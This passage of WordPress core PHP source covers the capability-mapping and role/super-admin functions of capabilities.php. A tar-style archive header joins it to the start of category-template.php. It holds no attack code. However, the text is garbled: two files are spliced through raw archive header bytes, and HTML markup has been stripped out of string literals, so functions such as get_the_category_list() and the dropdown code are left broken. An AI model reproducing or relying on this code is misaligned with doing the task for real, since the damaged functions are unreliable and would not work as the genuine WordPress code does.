`manage_privacy_options`, * so deleting it should require that too. */ if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) { $caps = array_merge( $caps, map_meta_cap( 'manage_privacy_options', $user_id ) ); } break; // edit_post breaks down to edit_posts, edit_published_posts, or // edit_others_posts. case 'edit_post': case 'edit_page': $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $post = get_post( $post->post_parent ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'edit_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } // If the post author is set and the user is the author... if ( $post->post_author && $user_id == $post->post_author ) { // If the post is published or scheduled... if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } elseif ( 'trash' === $post->post_status ) { $status = get_post_meta( $post->ID, '_wp_trash_meta_status', true ); if ( in_array( $status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } else { $caps[] = $post_type->cap->edit_posts; } } else { // If the post is draft... $caps[] = $post_type->cap->edit_posts; } } else { // The user is trying to edit someone else's post. $caps[] = $post_type->cap->edit_others_posts; // The post is published or scheduled, extra cap required. if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } elseif ( 'private' === $post->post_status ) { $caps[] = $post_type->cap->edit_private_posts; } } /* * Setting the privacy policy page requires `manage_privacy_options`, * so editing it should require that too. */ if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) { $caps = array_merge( $caps, map_meta_cap( 'manage_privacy_options', $user_id ) ); } break; case 'read_post': case 'read_page': $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $post = get_post( $post->post_parent ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'read_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } $status_obj = get_post_status_object( get_post_status( $post ) ); if ( ! $status_obj ) { /* translators: 1: Post status, 2: Capability name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The post status %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post with that status.' ), get_post_status( $post ), $cap ), '5.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( $status_obj->public ) { $caps[] = $post_type->cap->read; break; } if ( $post->post_author && $user_id == $post->post_author ) { $caps[] = $post_type->cap->read; } elseif ( $status_obj->private ) { $caps[] = $post_type->cap->read_private_posts; } else { $caps = map_meta_cap( 'edit_post', $user_id, $post->ID ); } break; case 'publish_post': $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } $caps[] = $post_type->cap->publish_posts; break; case 'edit_post_meta': case 'delete_post_meta': case 'add_post_meta': case 'edit_comment_meta': case 'delete_comment_meta': case 'add_comment_meta': case 'edit_term_meta': case 'delete_term_meta': case 'add_term_meta': case 'edit_user_meta': case 'delete_user_meta': case 'add_user_meta': $object_type = explode( '_', $cap )[1]; $object_id = (int) $args[0]; $object_subtype = get_object_subtype( $object_type, $object_id ); if ( empty( $object_subtype ) ) { $caps[] = 'do_not_allow'; break; } $caps = map_meta_cap( "edit_{$object_type}", $user_id, $object_id ); $meta_key = isset( $args[1] ) ? $args[1] : false; if ( $meta_key ) { $allowed = ! is_protected_meta( $meta_key, $object_type ); if ( ! empty( $object_subtype ) && has_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ) ) { /** * Filters whether the user is allowed to edit a specific meta key of a specific object type and subtype. * * The dynamic portions of the hook name, `$object_type`, `$meta_key`, * and `$object_subtype`, refer to the metadata object type (comment, post, term or user), * the meta key value, and the object subtype respectively. * * @since 4.9.8 * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. */ $allowed = apply_filters( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $allowed, $meta_key, $object_id, $user_id, $cap, $caps ); } else { /** * Filters whether the user is allowed to edit a specific meta key of a specific object type. * * Return true to have the mapped meta caps from `edit_{$object_type}` apply. * * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered. * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap(). * * @since 3.3.0 As `auth_post_meta_{$meta_key}`. * @since 4.6.0 * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. */ $allowed = apply_filters( "auth_{$object_type}_meta_{$meta_key}", $allowed, $meta_key, $object_id, $user_id, $cap, $caps ); } if ( ! empty( $object_subtype ) ) { /** * Filters whether the user is allowed to edit meta for specific object types/subtypes. * * Return true to have the mapped meta caps from `edit_{$object_type}` apply. * * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered. * The dynamic portion of the hook name, `$object_subtype` refers to the object subtype being filtered. * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap(). * * @since 4.6.0 As `auth_post_{$post_type}_meta_{$meta_key}`. * @since 4.7.0 Renamed from `auth_post_{$post_type}_meta_{$meta_key}` to * `auth_{$object_type}_{$object_subtype}_meta_{$meta_key}`. * @deprecated 4.9.8 Use {@see 'auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}'} instead. * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. */ $allowed = apply_filters_deprecated( "auth_{$object_type}_{$object_subtype}_meta_{$meta_key}", array( $allowed, $meta_key, $object_id, $user_id, $cap, $caps ), '4.9.8', "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ); } if ( ! $allowed ) { $caps[] = $cap; } } break; case 'edit_comment': $comment = get_comment( $args[0] ); if ( ! $comment ) { $caps[] = 'do_not_allow'; break; } $post = get_post( $comment->comment_post_ID ); /* * If the post doesn't exist, we have an orphaned comment. * Fall back to the edit_posts capability, instead. */ if ( $post ) { $caps = map_meta_cap( 'edit_post', $user_id, $post->ID ); } else { $caps = map_meta_cap( 'edit_posts', $user_id ); } break; case 'unfiltered_upload': if ( defined( 'ALLOW_UNFILTERED_UPLOADS' ) && ALLOW_UNFILTERED_UPLOADS && ( ! is_multisite() || is_super_admin( $user_id ) ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'edit_css': case 'unfiltered_html': // Disallow unfiltered_html for all users, even admins and super admins. if ( defined( 'DISALLOW_UNFILTERED_HTML' ) && DISALLOW_UNFILTERED_HTML ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'unfiltered_html'; } break; case 'edit_files': case 'edit_plugins': case 'edit_themes': // Disallow the file editors. if ( defined( 'DISALLOW_FILE_EDIT' ) && DISALLOW_FILE_EDIT ) { $caps[] = 'do_not_allow'; } elseif ( ! wp_is_file_mod_allowed( 'capability_edit_themes' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = $cap; } break; case 'update_plugins': case 'delete_plugins': case 'install_plugins': case 'upload_plugins': case 'update_themes': case 'delete_themes': case 'install_themes': case 'upload_themes': case 'update_core': // Disallow anything that creates, deletes, or updates core, plugin, or theme files. // Files in uploads are excepted. if ( ! wp_is_file_mod_allowed( 'capability_update_core' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } elseif ( 'upload_themes' === $cap ) { $caps[] = 'install_themes'; } elseif ( 'upload_plugins' === $cap ) { $caps[] = 'install_plugins'; } else { $caps[] = $cap; } break; case 'install_languages': case 'update_languages': if ( ! wp_is_file_mod_allowed( 'can_install_language_pack' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'install_languages'; } break; case 'activate_plugins': case 'deactivate_plugins': case 'activate_plugin': case 'deactivate_plugin': $caps[] = 'activate_plugins'; if ( is_multisite() ) { // update_, install_, and delete_ are handled above with is_super_admin(). $menu_perms = get_site_option( 'menu_items', array() ); if ( empty( $menu_perms['plugins'] ) ) { $caps[] = 'manage_network_plugins'; } } break; case 'resume_plugin': $caps[] = 'resume_plugins'; break; case 'resume_theme': $caps[] = 'resume_themes'; break; case 'delete_user': case 'delete_users': // If multisite only super admins can delete users. if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'delete_users'; // delete_user maps to delete_users. } break; case 'create_users': if ( ! is_multisite() ) { $caps[] = $cap; } elseif ( is_super_admin( $user_id ) || get_site_option( 'add_new_users' ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'manage_links': if ( get_option( 'link_manager_enabled' ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'customize': $caps[] = 'edit_theme_options'; break; case 'delete_site': if ( is_multisite() ) { $caps[] = 'manage_options'; } else { $caps[] = 'do_not_allow'; } break; case 'edit_term': case 'delete_term': case 'assign_term': $term_id = (int) $args[0]; $term = get_term( $term_id ); if ( ! $term || is_wp_error( $term ) ) { $caps[] = 'do_not_allow'; break; } $tax = get_taxonomy( $term->taxonomy ); if ( ! $tax ) { $caps[] = 'do_not_allow'; break; } if ( 'delete_term' === $cap && ( get_option( 'default_' . $term->taxonomy ) == $term->term_id || get_option( 'default_term_' . $term->taxonomy ) == $term->term_id ) ) { $caps[] = 'do_not_allow'; break; } $taxo_cap = $cap . 's'; $caps = map_meta_cap( $tax->cap->$taxo_cap, $user_id, $term_id ); break; case 'manage_post_tags': case 'edit_categories': case 'edit_post_tags': case 'delete_categories': case 'delete_post_tags': $caps[] = 'manage_categories'; break; case 'assign_categories': case 'assign_post_tags': $caps[] = 'edit_posts'; break; case 'create_sites': case 'delete_sites': case 'manage_network': case 'manage_sites': case 'manage_network_users': case 'manage_network_plugins': case 'manage_network_themes': case 'manage_network_options': case 'upgrade_network': $caps[] = $cap; break; case 'setup_network': if ( is_multisite() ) { $caps[] = 'manage_network_options'; } else { $caps[] = 'manage_options'; } break; case 'update_php': if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'update_core'; } break; case 'update_https': if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'manage_options'; $caps[] = 'update_core'; } break; case 'export_others_personal_data': case 'erase_others_personal_data': case 'manage_privacy_options': $caps[] = is_multisite() ? 'manage_network' : 'manage_options'; break; case 'create_app_password': case 'list_app_passwords': case 'read_app_password': case 'edit_app_password': case 'delete_app_passwords': case 'delete_app_password': $caps = map_meta_cap( 'edit_user', $user_id, $args[0] ); break; default: // Handle meta capabilities for custom post types. global $post_type_meta_caps; if ( isset( $post_type_meta_caps[ $cap ] ) ) { return map_meta_cap( $post_type_meta_caps[ $cap ], $user_id, ...$args ); } // Block capabilities map to their post equivalent. $block_caps = array( 'edit_blocks', 'edit_others_blocks', 'publish_blocks', 'read_private_blocks', 'delete_blocks', 'delete_private_blocks', 'delete_published_blocks', 'delete_others_blocks', 'edit_private_blocks', 'edit_published_blocks', ); if ( in_array( $cap, $block_caps, true ) ) { $cap = str_replace( '_blocks', '_posts', $cap ); } // If no meta caps match, return the original cap. $caps[] = $cap; } /** * Filters the primitive capabilities required of the given user to satisfy the * capability being checked. * * @since 2.8.0 * * @param string[] $caps Primitive capabilities required of the user. * @param string $cap Capability being checked. * @param int $user_id The user ID. * @param array $args Adds context to the capability check, typically * starting with an object ID. */ return apply_filters( 'map_meta_cap', $caps, $cap, $user_id, $args ); } /** * Returns whether the current user has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * current_user_can( 'edit_posts' ); * current_user_can( 'edit_post', $post->ID ); * current_user_can( 'edit_post_meta', $post->ID, $meta_key ); * * While checking against particular roles in place of a capability is supported * in part, this practice is discouraged as it may produce unreliable results. * * Note: Will always return true if the current user is a super admin, unless specifically denied. * * @since 2.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @see WP_User::has_cap() * @see map_meta_cap() * * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the current user has the given capability. If `$capability` is a meta cap and `$object_id` is * passed, whether the current user has the given meta capability for the given object. */ function current_user_can( $capability, ...$args ) { $current_user = wp_get_current_user(); if ( empty( $current_user ) ) { return false; } return $current_user->has_cap( $capability, ...$args ); } /** * Returns whether the current user has the specified capability for a given site. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * current_user_can_for_blog( $blog_id, 'edit_posts' ); * current_user_can_for_blog( $blog_id, 'edit_post', $post->ID ); * current_user_can_for_blog( $blog_id, 'edit_post_meta', $post->ID, $meta_key ); * * @since 3.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @param int $blog_id Site ID. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability. */ function current_user_can_for_blog( $blog_id, $capability, ...$args ) { $switched = is_multisite() ? switch_to_blog( $blog_id ) : false; $current_user = wp_get_current_user(); if ( empty( $current_user ) ) { if ( $switched ) { restore_current_blog(); } return false; } $can = $current_user->has_cap( $capability, ...$args ); if ( $switched ) { restore_current_blog(); } return $can; } /** * Returns whether the author of the supplied post has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * author_can( $post, 'edit_posts' ); * author_can( $post, 'edit_post', $post->ID ); * author_can( $post, 'edit_post_meta', $post->ID, $meta_key ); * * @since 2.9.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @param int|WP_Post $post Post ID or post object. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the post author has the given capability. */ function author_can( $post, $capability, ...$args ) { $post = get_post( $post ); if ( ! $post ) { return false; } $author = get_userdata( $post->post_author ); if ( ! $author ) { return false; } return $author->has_cap( $capability, ...$args ); } /** * Returns whether a particular user has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * user_can( $user->ID, 'edit_posts' ); * user_can( $user->ID, 'edit_post', $post->ID ); * user_can( $user->ID, 'edit_post_meta', $post->ID, $meta_key ); * * @since 3.1.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @param int|WP_User $user User ID or object. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability. */ function user_can( $user, $capability, ...$args ) { if ( ! is_object( $user ) ) { $user = get_userdata( $user ); } if ( ! $user || ! $user->exists() ) { return false; } return $user->has_cap( $capability, ...$args ); } /** * Retrieves the global WP_Roles instance and instantiates it if necessary. * * @since 4.3.0 * * @global WP_Roles $wp_roles WordPress role management object. * * @return WP_Roles WP_Roles global instance if not already instantiated. */ function wp_roles() { global $wp_roles; if ( ! isset( $wp_roles ) ) { $wp_roles = new WP_Roles(); } return $wp_roles; } /** * Retrieve role object. * * @since 2.0.0 * * @param string $role Role name. * @return WP_Role|null WP_Role object if found, null if the role does not exist. */ function get_role( $role ) { return wp_roles()->get_role( $role ); } /** * Add role, if it does not exist. * * @since 2.0.0 * * @param string $role Role name. * @param string $display_name Display name for role. * @param bool[] $capabilities List of capabilities keyed by the capability name, * e.g. array( 'edit_posts' => true, 'delete_posts' => false ). * @return WP_Role|null WP_Role object if role is added, null if already exists. */ function add_role( $role, $display_name, $capabilities = array() ) { if ( empty( $role ) ) { return; } return wp_roles()->add_role( $role, $display_name, $capabilities ); } /** * Remove role, if it exists. * * @since 2.0.0 * * @param string $role Role name. */ function remove_role( $role ) { wp_roles()->remove_role( $role ); } /** * Retrieve a list of super admins. * * @since 3.0.0 * * @global array $super_admins * * @return string[] List of super admin logins. */ function get_super_admins() { global $super_admins; if ( isset( $super_admins ) ) { return $super_admins; } else { return get_site_option( 'site_admins', array( 'admin' ) ); } } /** * Determine if user is a site admin. * * @since 3.0.0 * * @param int|false $user_id Optional. The ID of a user. Defaults to false, to check the current user. * @return bool Whether the user is a site admin. */ function is_super_admin( $user_id = false ) { if ( ! $user_id || get_current_user_id() == $user_id ) { $user = wp_get_current_user(); } else { $user = get_userdata( $user_id ); } if ( ! $user || ! $user->exists() ) { return false; } if ( is_multisite() ) { $super_admins = get_super_admins(); if ( is_array( $super_admins ) && in_array( $user->user_login, $super_admins, true ) ) { return true; } } else { if ( $user->has_cap( 'delete_users' ) ) { return true; } } return false; } /** * Grants Super Admin privileges. * * @since 3.0.0 * * @global array $super_admins * * @param int $user_id ID of the user to be granted Super Admin privileges. * @return bool True on success, false on failure. This can fail when the user is * already a super admin or when the `$super_admins` global is defined. */ function grant_super_admin( $user_id ) { // If global super_admins override is defined, there is nothing to do here. if ( isset( $GLOBALS['super_admins'] ) || ! is_multisite() ) { return false; } /** * Fires before the user is granted Super Admin privileges. * * @since 3.0.0 * * @param int $user_id ID of the user that is about to be granted Super Admin privileges. */ do_action( 'grant_super_admin', $user_id ); // Directly fetch site_admins instead of using get_super_admins(). $super_admins = get_site_option( 'site_admins', array( 'admin' ) ); $user = get_userdata( $user_id ); if ( $user && ! in_array( $user->user_login, $super_admins, true ) ) { $super_admins[] = $user->user_login; update_site_option( 'site_admins', $super_admins ); /** * Fires after the user is granted Super Admin privileges. * * @since 3.0.0 * * @param int $user_id ID of the user that was granted Super Admin privileges. */ do_action( 'granted_super_admin', $user_id ); return true; } return false; } /** * Revokes Super Admin privileges. * * @since 3.0.0 * * @global array $super_admins * * @param int $user_id ID of the user Super Admin privileges to be revoked from. * @return bool True on success, false on failure. This can fail when the user's email * is the network admin email or when the `$super_admins` global is defined. */ function revoke_super_admin( $user_id ) { // If global super_admins override is defined, there is nothing to do here. if ( isset( $GLOBALS['super_admins'] ) || ! is_multisite() ) { return false; } /** * Fires before the user's Super Admin privileges are revoked. * * @since 3.0.0 * * @param int $user_id ID of the user Super Admin privileges are being revoked from. */ do_action( 'revoke_super_admin', $user_id ); // Directly fetch site_admins instead of using get_super_admins(). $super_admins = get_site_option( 'site_admins', array( 'admin' ) ); $user = get_userdata( $user_id ); if ( $user && 0 !== strcasecmp( $user->user_email, get_site_option( 'admin_email' ) ) ) { $key = array_search( $user->user_login, $super_admins, true ); if ( false !== $key ) { unset( $super_admins[ $key ] ); update_site_option( 'site_admins', $super_admins ); /** * Fires after the user's Super Admin privileges are revoked. * * @since 3.0.0 * * @param int $user_id ID of the user Super Admin privileges were revoked from. */ do_action( 'revoked_super_admin', $user_id ); return true; } } return false; } /** * Filters the user capabilities to grant the 'install_languages' capability as necessary. * * A user must have at least one out of the 'update_core', 'install_plugins', and * 'install_themes' capabilities to qualify for 'install_languages'. * * @since 4.9.0 * * @param bool[] $allcaps An array of all the user's capabilities. * @return bool[] Filtered array of the user's capabilities. */ function wp_maybe_grant_install_languages_cap( $allcaps ) { if ( ! empty( $allcaps['update_core'] ) || ! empty( $allcaps['install_plugins'] ) || ! empty( $allcaps['install_themes'] ) ) { $allcaps['install_languages'] = true; } return $allcaps; } /** * Filters the user capabilities to grant the 'resume_plugins' and 'resume_themes' capabilities as necessary. * * @since 5.2.0 * * @param bool[] $allcaps An array of all the user's capabilities. * @return bool[] Filtered array of the user's capabilities. */ function wp_maybe_grant_resume_extensions_caps( $allcaps ) { // Even in a multisite, regular administrators should be able to resume plugins. if ( ! empty( $allcaps['activate_plugins'] ) ) { $allcaps['resume_plugins'] = true; } // Even in a multisite, regular administrators should be able to resume themes. if ( ! empty( $allcaps['switch_themes'] ) ) { $allcaps['resume_themes'] = true; } return $allcaps; } /** * Filters the user capabilities to grant the 'view_site_health_checks' capabilities as necessary. * * @since 5.2.2 * * @param bool[] $allcaps An array of all the user's capabilities. * @param string[] $caps Required primitive capabilities for the requested capability. * @param array $args { * Arguments that accompany the requested capability check. * * @type string $0 Requested capability. * @type int $1 Concerned user ID. * @type mixed ...$2 Optional second and further parameters, typically object ID. * } * @param WP_User $user The user object. * @return bool[] Filtered array of the user's capabilities. */ function wp_maybe_grant_site_health_caps( $allcaps, $caps, $args, $user ) { if ( ! empty( $allcaps['install_plugins'] ) && ( ! is_multisite() || is_super_admin( $user->ID ) ) ) { $allcaps['view_site_health_checks'] = true; } return $allcaps; } return; // Dummy gettext calls to get strings in the catalog. /* translators: User role for administrators. */ _x( 'Administrator', 'User role' ); /* translators: User role for editors. */ _x( 'Editor', 'User role' ); /* translators: User role for authors. */ _x( 'Author', 'User role' ); /* translators: User role for contributors. */ _x( 'Contributor', 'User role' ); /* translators: User role for subscribers. */ _x( 'Subscriber', 'User role' ); category-template.php000064400000154413151202620300010702 0ustar00 $separator, 'link' => $link, 'format' => $format, ); return get_term_parents_list( $category_id, 'category', $args ); } /** * Retrieves post categories. * * This tag may be used outside The Loop by passing a post ID as the parameter. * * Note: This function only returns results from the default "category" taxonomy. * For custom taxonomies use get_the_terms(). * * @since 0.71 * * @param int $post_id Optional. The post ID. Defaults to current post ID. * @return WP_Term[] Array of WP_Term objects, one for each category assigned to the post. */ function get_the_category( $post_id = false ) { $categories = get_the_terms( $post_id, 'category' ); if ( ! $categories || is_wp_error( $categories ) ) { $categories = array(); } $categories = array_values( $categories ); foreach ( array_keys( $categories ) as $key ) { _make_cat_compat( $categories[ $key ] ); } /** * Filters the array of categories to return for a post. * * @since 3.1.0 * @since 4.4.0 Added `$post_id` parameter. * * @param WP_Term[] $categories An array of categories to return for the post. * @param int|false $post_id ID of the post. */ return apply_filters( 'get_the_categories', $categories, $post_id ); } /** * Retrieves category name based on category ID. * * @since 0.71 * * @param int $cat_ID Category ID. * @return string|WP_Error Category name on success, WP_Error on failure. */ function get_the_category_by_ID( $cat_ID ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid $cat_ID = (int) $cat_ID; $category = get_term( $cat_ID ); if ( is_wp_error( $category ) ) { return $category; } return ( $category ) ? $category->name : ''; } /** * Retrieves category list for a post in either HTML list or custom format. * * Generally used for quick, delimited (e.g. comma-separated) lists of categories, * as part of a post entry meta. * * For a more powerful, list-based function, see wp_list_categories(). * * @since 1.5.1 * * @see wp_list_categories() * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $separator Optional. Separator between the categories. By default, the links are placed * in an unordered list. An empty string will result in the default behavior. * @param string $parents Optional. How to display the parents. * @param int $post_id Optional. Post ID to retrieve categories. * @return string Category list for a post. */ function get_the_category_list( $separator = '', $parents = '', $post_id = false ) { global $wp_rewrite; if ( ! is_object_in_taxonomy( get_post_type( $post_id ), 'category' ) ) { /** This filter is documented in wp-includes/category-template.php */ return apply_filters( 'the_category', '', $separator, $parents ); } /** * Filters the categories before building the category list. * * @since 4.4.0 * * @param WP_Term[] $categories An array of the post's categories. * @param int|bool $post_id ID of the post we're retrieving categories for. * When `false`, we assume the current post in the loop. */ $categories = apply_filters( 'the_category_list', get_the_category( $post_id ), $post_id ); if ( empty( $categories ) ) { /** This filter is documented in wp-includes/category-template.php */ return apply_filters( 'the_category', __( 'Uncategorized' ), $separator, $parents ); } $rel = ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() ) ? 'rel="category tag"' : 'rel="category"'; $thelist = ''; if ( '' === $separator ) { $thelist .= ''; } else { $i = 0; foreach ( $categories as $category ) { if ( 0 < $i ) { $thelist .= $separator; } switch ( strtolower( $parents ) ) { case 'multiple': if ( $category->parent ) { $thelist .= get_category_parents( $category->parent, true, $separator ); } $thelist .= '' . $category->name . ''; break; case 'single': $thelist .= ''; if ( $category->parent ) { $thelist .= get_category_parents( $category->parent, false, $separator ); } $thelist .= "$category->name"; break; case '': default: $thelist .= '' . $category->name . ''; } ++$i; } } /** * Filters the category or list of categories. * * @since 1.2.0 * * @param string $thelist List of categories for the current post. * @param string $separator Separator used between the categories. * @param string $parents How to display the category parents. Accepts 'multiple', * 'single', or empty. */ return apply_filters( 'the_category', $thelist, $separator, $parents ); } /** * Checks if the current post is within any of the given categories. * * The given categories are checked against the post's categories' term_ids, names and slugs. * Categories given as integers will only be checked against the post's categories' term_ids. * * Prior to v2.5 of WordPress, category names were not supported. * Prior to v2.7, category slugs were not supported. * Prior to v2.7, only one category could be compared: in_category( $single_category ). * Prior to v2.7, this function could only be used in the WordPress Loop. * As of 2.7, the function can be used anywhere if it is provided a post ID or post object. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.2.0 * @since 2.7.0 The `$post` parameter was added. * * @param int|string|int[]|string[] $category Category ID, name, slug, or array of such * to check against. * @param int|object $post Optional. Post to check instead of the current post. * @return bool True if the current post is in any of the given categories. */ function in_category( $category, $post = null ) { if ( empty( $category ) ) { return false; } return has_category( $category, $post ); } /** * Displays category list for a post in either HTML list or custom format. * * @since 0.71 * * @param string $separator Optional. Separator between the categories. By default, the links are placed * in an unordered list. An empty string will result in the default behavior. * @param string $parents Optional. How to display the parents. * @param int $post_id Optional. Post ID to retrieve categories. */ function the_category( $separator = '', $parents = '', $post_id = false ) { echo get_the_category_list( $separator, $parents, $post_id ); } /** * Retrieves category description. * * @since 1.0.0 * * @param int $category Optional. Category ID. Defaults to the current category ID. * @return string Category description, if available. */ function category_description( $category = 0 ) { return term_description( $category ); } /** * Displays or retrieves the HTML dropdown list of categories. * * The 'hierarchical' argument, which is disabled by default, will override the * depth argument, unless it is true. When the argument is false, it will * display all of the categories. When it is enabled it will use the value in * the 'depth' argument. * * @since 2.1.0 * @since 4.2.0 Introduced the `value_field` argument. * @since 4.6.0 Introduced the `required` argument. * * @param array|string $args { * Optional. Array or string of arguments to generate a categories drop-down element. See WP_Term_Query::__construct() * for information on additional accepted arguments. * * @type string $show_option_all Text to display for showing all categories. Default empty. * @type string $show_option_none Text to display for showing no categories. Default empty. * @type string $option_none_value Value to use when no category is selected. Default empty. * @type string $orderby Which column to use for ordering categories. See get_terms() for a list * of accepted values. Default 'id' (term_id). * @type bool $pad_counts See get_terms() for an argument description. Default false. * @type bool|int $show_count Whether to include post counts. Accepts 0, 1, or their bool equivalents. * Default 0. * @type bool|int $echo Whether to echo or return the generated markup. Accepts 0, 1, or their * bool equivalents. Default 1. * @type bool|int $hierarchical Whether to traverse the taxonomy hierarchy. Accepts 0, 1, or their bool * equivalents. Default 0. * @type int $depth Maximum depth. Default 0. * @type int $tab_index Tab index for the select element. Default 0 (no tabindex). * @type string $name Value for the 'name' attribute of the select element. Default 'cat'. * @type string $id Value for the 'id' attribute of the select element. Defaults to the value * of `$name`. * @type string $class Value for the 'class' attribute of the select element. Default 'postform'. * @type int|string $selected Value of the option that should be selected. Default 0. * @type string $value_field Term field that should be used to populate the 'value' attribute * of the option elements. Accepts any valid term field: 'term_id', 'name', * 'slug', 'term_group', 'term_taxonomy_id', 'taxonomy', 'description', * 'parent', 'count'. Default 'term_id'. * @type string|array $taxonomy Name of the taxonomy or taxonomies to retrieve. Default 'category'. * @type bool $hide_if_empty True to skip generating markup if no categories are found. * Default false (create select element even if no categories are found). * @type bool $required Whether the `\n"; } else { $output = ''; } if ( empty( $categories ) && ! $parsed_args['hide_if_empty'] && ! empty( $parsed_args['show_option_none'] ) ) { /** * Filters a taxonomy drop-down display element. * * A variety of taxonomy drop-down display elements can be modified * just prior to display via this filter. Filterable arguments include * 'show_option_none', 'show_option_all', and various forms of the * 